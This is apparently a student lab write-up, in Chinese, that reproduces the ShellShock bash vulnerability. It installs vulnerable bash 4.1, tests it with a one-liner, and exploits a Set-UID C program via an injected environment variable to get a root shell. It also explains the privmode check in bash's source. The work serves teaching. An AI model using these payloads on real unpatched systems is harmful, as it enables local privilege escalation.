2020-2021-1 20209302毕慧敏《Linux内核原理与分析》第十二周作业

ShellShock攻击实验

目录

• ShellShock攻击实验
  • 作业信息
  • 实验过程
    • 1.环境搭建
    • 2.预备知识
    • 3攻击Set-UID程序
  • 总结

作业信息

这个作业属于哪个课程	<2020-2021-1Linux内核原理与分析）>
这个作业要求在哪里	<2020-2021-1Linux内核原理与分析第一周作业>
这个作业的目标	<2014年9月24日，Bash中发现了一个严重漏洞shellshock，该漏洞可用于许多系统，既可以远程也可以在本地触发。在实验楼环境下亲手重现攻击来理解该漏洞。>
作业正文	https://www.cnblogs.com/augusts/p/14183094.html

实验过程

1.环境搭建

以root权限安装4.1版bash（4.2版本以上的漏洞已经被堵上了） bash4.1 原来的下载地址是 http://ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ，为了加快速度，我们这里使用下面的下载地址 http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

下载

  $ sudo su
  $ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

安装

  $ tar xf bash-4.1.tar.gz
  $ cd bash-4.1
  $ ./configure #这一步过程比较长，请等待一会
  $ make && make install

链接

  $ rm /bin/bash
  $ ln -s /usr/local/bin/bash /bin/bash

到这里就安装完了，接下来检测是否存在shellshock漏洞。

  $ exit
  $ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"

输出vulnerable的话,说明bash有漏洞。
最后，让/bin/sh 指向/bin/bash.

2.预备知识

了解bash自定义函数，只需要函数名就能够调用该函数。

  $ foo() { echo bar; } 
  $ foo
  > bar

这个时候的Bash的环境变量：

  KEY = foo
  VALUE = () { echo bar; }

来看看ShellShock漏洞的真身：

  export foo='() { :; }; echo Hello World'
  bash
  >Hello World

为什么调用bash的时候输出Hello World了呢？瞧瞧他内部的情况：

  KEY = foo
  VALUE = () { :; }; echo Hello World

bash读取了环境变量，在定义foo之后直接调用了后面的函数。 一旦调用bash，自定义的语句就直接触发。

3攻击Set-UID程序

本实验中，我们通过攻击Set-UID程序来获得root权限。

我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用，你能够利用shellshock漏洞来获取权限么？ 首先，确保安装了带有漏洞的bash版本，并让/bin/sh 指向/bin/bash.

  $ sudo ln -sf /bin/bash /bin/sh

在 /home/shiyanlou 目录下新建一个 shock.c 文件：

  $ vi shock.c

按 I 键切换到插入模式，再输入如下内容：

  #include <stdio.h>
  void main()
  {
      setuid(geteuid()); // make real uid = effective uid.
      system("/bin/ls -l");
  }

编译这段代码，并设置其为Set-UID程序，保证它的所有者是root。

  $ sudo su
  $ gcc -o shock shock.c
  $ chmod u+s shock
  $ls -il shock

我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid，这在Set-UID程序中不是普遍现象，但它确实有时会发生。 先自己试着hack一下：） 以下是hack过程：

  exit
  $export foo='(){ :; }; bash'

如果 setuid(geteuid()) 语句被去掉了，再试试看攻击，我们还能够拿到权限么？

  #include <stdio.h>
  void main()
  {
      system("/bin/ls -l");
  }

  $ sudo su
  $ gcc -o sh0ck shock.c
  $ chmod u+s sh0ck
  $ ls -il sh0ck
  $ exit
  $ ./sh0ck

(hack过程与step1完全一样，sh0ck是编译后的程序)

失败了！这就说明如果 real uid 和 effective uid 相同的话，定义在环境变量中的内容在该程序内有效，那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话，环境变量失效，就无法发动攻击了，这可以从 bash的源代码中得到印证（variables.c,在308到369行之间）请指出是哪一行导致了这样的不同，并说明bash这样设计的原因。

这里给出部分代码

  /* Initialize the shell variables from the current environment.
     If PRIVMODE is nonzero, don't import functions from ENV or
     parse $SHELLOPTS. */
  void
  initialize_shell_variables (env, privmode)
       char **env;
       int privmode;
  {
    char *name, *string, *temp_string;
    int c, char_index, string_index, string_length;
    SHELL_VAR *temp_var;

    create_variable_tables ();

    for (string_index = 0; string = env[string_index++]; )
      {

        char_index = 0;
        name = string;
        while ((c = *string++) && c != '=') ;
        if (string[-1] == '=')
       char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx' or a
       string without an `=', just skip them. */
        if (char_index == 0)
       continue;

        /* ASSERT(name[char_index] == '=') */
        name[char_index] = '';
        /* Now, name = env variable name, string = env variable value, and  char_index == strlen (name) */

        temp_var = (SHELL_VAR *)NULL;

        /* If exported function, define it now.  Don't import functions from the environment in privileged mode. */
        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
    {
      string_length = strlen (string);
      temp_string = (char *)xmalloc (3 + string_length + char_index);

      strcpy (temp_string, name);
      temp_string[char_index] = ' ';
      strcpy (temp_string + char_index + 1, string);

      parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

      /* Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...} */
      if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
        name[char_index - 2] = '';

      if (temp_var = find_function (name))
        {
          VSETATTR (temp_var, (att_exported|att_imported));
          array_needs_making = 1;
        }
      else
        report_error (_("error importing function definition for `%s'"), name);

      /* ( */
      if (name[char_index - 1] == ')' && name[char_index - 2] == '')
        name[char_index - 2] = '(';   /* ) */
    }

就是上述那一行判断逻辑导致了两者的不同，primode即私有模式，要求real uid 与 effective uid保持一致。

总结

从解析上看，bash解析并没有问题，语法是正常的。所以应该是env命令处理变量名时的漏洞。

bash可以将shell变量导出为环境变量，还可以将shell函数导出为环境变量！当前版本的bash通过以函数名作为环境变量名，以“（）{”开头的字串作为环境变量的值来将函数定义导出为环境变量。此次爆出的漏洞在于bash处理这样的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一直执行其后的shell命令。

所以，在某种环境，bash会在给导出的函数定义处理环境时执行用户代码。